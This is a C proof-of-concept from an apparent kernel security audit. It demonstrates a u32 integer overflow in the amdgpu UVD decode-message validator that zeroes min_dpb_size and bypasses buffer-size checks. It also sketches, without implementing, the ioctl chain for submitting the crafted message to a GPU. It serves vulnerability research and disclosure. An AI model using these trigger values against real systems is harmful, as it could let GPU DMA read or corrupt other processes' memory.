/*
 * DF-4404 — amdgpu_uvd_cs_msg_decode() u32 integer overflow bypass
 *
 * Target: sys/dev/drm/amd/amdgpu/amdgpu_uvd.c:514-696 (amdgpu_uvd_cs_msg_decode)
 *         sys/dev/drm/amd/amdgpu/amdgpu_uvd.c:803-878 (amdgpu_uvd_cs_pass2)
 *
 * Part A (no hardware needed): byte-for-byte replication of the kernel's
 *   decode-message arithmetic showing that the minimum-DPB-size computation
 *   wraps to 0 for MPEG2 / MPEG4 / VC1 / H265 messages with large width and
 *   small height (dimensions that never reach the known DF-1595 div-by-zero,
 *   because those stream types never divide by fs_in_mb).
 *
 *   With min_dpb_size == 0 the only two guards that keep UVD's physical-mode
 *   DMA inside validated buffers are defeated:
 *     amdgpu_uvd.c:686   dpb_size < min_dpb_size   -> passes with dpb_size=0
 *     amdgpu_uvd.c:833   (end-start) < buf_sizes[1] -> passes for ANY size
 *
 * Part B (requires real AMD GPU with UVD, amdgpu attached): raw-ioctl chain
 *   that submits the crafted decode message to the UVD ring via
 *   DRM_IOCTL_AMDGPU_CS. On this audit guest there is no AMD GPU, so Part B
 *   stops at device open with a clear diagnostic.
 *
 * Build:  cc -O2 -o uvd_dim_overflow uvd_dim_overflow.c
 * Run:    ./uvd_dim_overflow
 */

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>

/* ---- Part A: kernel arithmetic replica (unsigned == u32, exactly as compiled) ---- */

#define ALIGN_U32(x, a) (((x) + ((a)-1)) & ~((unsigned)(a)-1))

static unsigned min_dpb_size_mpeg2(unsigned msg6_width, unsigned msg7_height)
{
	unsigned image_size;

	/* amdgpu_uvd.c:531-533 */
	image_size = msg6_width * msg7_height;      /* u32 wrap */
	image_size += image_size / 2;
	image_size = ALIGN_U32(image_size, 1024);

	/* amdgpu_uvd.c:596-600 (case 3, MPEG2): min_dpb_size = image_size * 3 */
	return image_size * 3;
}

static unsigned min_dpb_size_h265(unsigned msg6_width, unsigned msg7_height,
				  unsigned msg59)
{
	unsigned image_size, num_dpb_buffer;

	/* amdgpu_uvd.c:666-674 (case 16, H265) */
	image_size = (ALIGN_U32(msg6_width, 16) * ALIGN_U32(msg7_height, 16) * 3) / 2;
	image_size = ALIGN_U32(image_size, 256);
	num_dpb_buffer = (msg59 & 0xff) + 2;
	return image_size * num_dpb_buffer;
}

static unsigned min_ctx_size_h265(unsigned msg6_width, unsigned msg7_height,
				  unsigned msg59)
{
	unsigned num_dpb_buffer = (msg59 & 0xff) + 2;
	/* amdgpu_uvd.c:672-673 */
	return ((msg6_width + 255) / 16) * ((msg7_height + 255) / 16)
	       * 16 * num_dpb_buffer + 52 * 1024;
}

static void part_a(void)
{
	const unsigned width_huge = 0x80000000u; /* msg[6] = 2147483648 */
	const unsigned height_two = 2u;          /* msg[7] = 2           */
	const unsigned dpb_size   = 0u;          /* msg[9] = 0 (attacker) */
	unsigned min;

	printf("== Part A: amdgpu_uvd_cs_msg_decode() arithmetic replica ==\n");
	printf("kernel computes with C 'unsigned' (u32) throughout:\n\n");

	min = min_dpb_size_mpeg2(width_huge, height_two);
	printf("[MPEG2 ] width=0x%08x height=%u\n", width_huge, height_two);
	printf("         image_size  = (0x80000000*2 + /2) mod 2^32, ALIGN1024 = 0\n");
	printf("         min_dpb_size = image_size*3            = %u (0x%x)\n", min, min);
	printf("         gate  amdgpu_uvd.c:686 'dpb_size < min_dpb_size' -> %u < %u = %s\n",
	       dpb_size, min, (dpb_size < min) ? "REJECT" : "PASS (bypassed)");
	printf("         pass2 amdgpu_uvd.c:833 gate sees buf_sizes[1]=dpb_size=%u\n\n", dpb_size);

	min = min_dpb_size_h265(width_huge, height_two, 0);
	printf("[H265  ] width=0x%08x height=%u msg[59]=0\n", width_huge, height_two);
	printf("         ALIGN(w,16)*ALIGN(h,16)*3/2 wraps -> image_size=0 -> min_dpb_size=%u\n", min);
	printf("         min_ctx_size  = %u (0x%x)\n\n",
	       min_ctx_size_h265(width_huge, height_two, 0),
	       min_ctx_size_h265(width_huge, height_two, 0));

	printf("=> the UVD firmware receives a decode message declaring a\n");
	printf("   2^31 x 2 stream with dpb/ctx buffers of validated size 0..N,\n");
	printf("   while the validator believes them sufficient. UVD runs in\n");
	printf("   PHYSICAL addressing (parser->job->vm = NULL, amdgpu_uvd.c:983),\n");
	printf("   so firmware accesses beyond the dpb object land in adjacent\n");
	printf("   VRAM/GTT slots -- i.e. other processes' GPU objects and, via\n");
	printf("   GTT, host memory pages.\n\n");

	/* dimensions that would hit the KNOWN div0 (DF-1595) instead:
	   H264 (case 0/7) divides by fs_in_mb; width=8,height=2 gives
	   width_in_mb=0 -> fs_in_mb=0 -> panic. Those are NOT used here. */
	printf("(for contrast, H264 width=8 height=2 hits the KNOWN DF-1595\n");
	printf(" div-by-zero instead; this trigger deliberately uses MPEG2/H265\n");
	printf(" which contain no division -- pure overflow bypass.)\n\n");
}

/* ---- Part B: raw ioctl submission (requires AMD GPU) ---- */

#define __user		/* kernel annotation, empty for userland */
#define __kernel
#include <drm/drm.h>
#include <drm/amdgpu_drm.h>

#define UVD_GPCOM_VCPU_DATA0 0x03c4
#define UVD_GPCOM_VCPU_DATA1 0x03c5
#define UVD_GPCOM_VCPU_CMD   0x03c3
#define UVD_NO_OP            0x03ff
#define UVD_BASE_SI          0x3800

static int part_b(void)
{
	static const char *candidates[] = {
		"/dev/dri/renderD128", "/dev/dri/card0", NULL
	};
	int fd = -1, i;

	printf("== Part B: attempt UVD message submission ==\n");
	for (i = 0; candidates[i]; i++) {
		fd = open(candidates[i], O_RDWR);
		if (fd >= 0) {
			printf("opened %s\n", candidates[i]);
			break;
		}
		printf("open(%s): %s\n", candidates[i], strerror(errno));
	}
	if (fd < 0) {
		printf("\nNo DRM device on this machine: the amdgpu ioctl chain\n");
		printf("(GEM_CREATE msg/dpb BOs -> GEM_VA map -> CTX_CREATE -> CS with\n");
		printf("IB: PACKET0 DATA0/DATA1=msg_gpu_addr, CMD=decode(dpb_size=0,\n");
		printf("w=0x80000000,h=2,stream_type=3), then dpb-buffer command)\n");
		printf("cannot be exercised here. See VERDICT.md.\n");
		return 2;
	}

	/* Full chain would continue: DRM_IOCTL_AMDGPU_GEM_CREATE x2,
	 * DRM_IOCTL_AMDGPU_GEM_VA x2, DRM_IOCTL_AMDGPU_CTX,
	 * DRM_IOCTL_AMDGPU_CS with a UVD-ring IB. Not reachable on this
	 * guest (no AMD GPU), so we stop after device open. */
	{
		drm_version_t v = {0};
		char name[64] = {0};
		v.name_len = sizeof(name) - 1;
		v.name = name;
		if (ioctl(fd, DRM_IOCTL_VERSION, &v) == 0)
			printf("DRM driver: %s\n", name);
	}
	close(fd);
	return 0;
}

int main(int argc, char **argv)
{
	int rc_b;

	part_a();
	rc_b = part_b();
	printf("\nPart A completed (arithmetic proof). Part B %s.\n",
	       rc_b == 0 ? "ran" : "not executable on this machine");
	return rc_b;
}
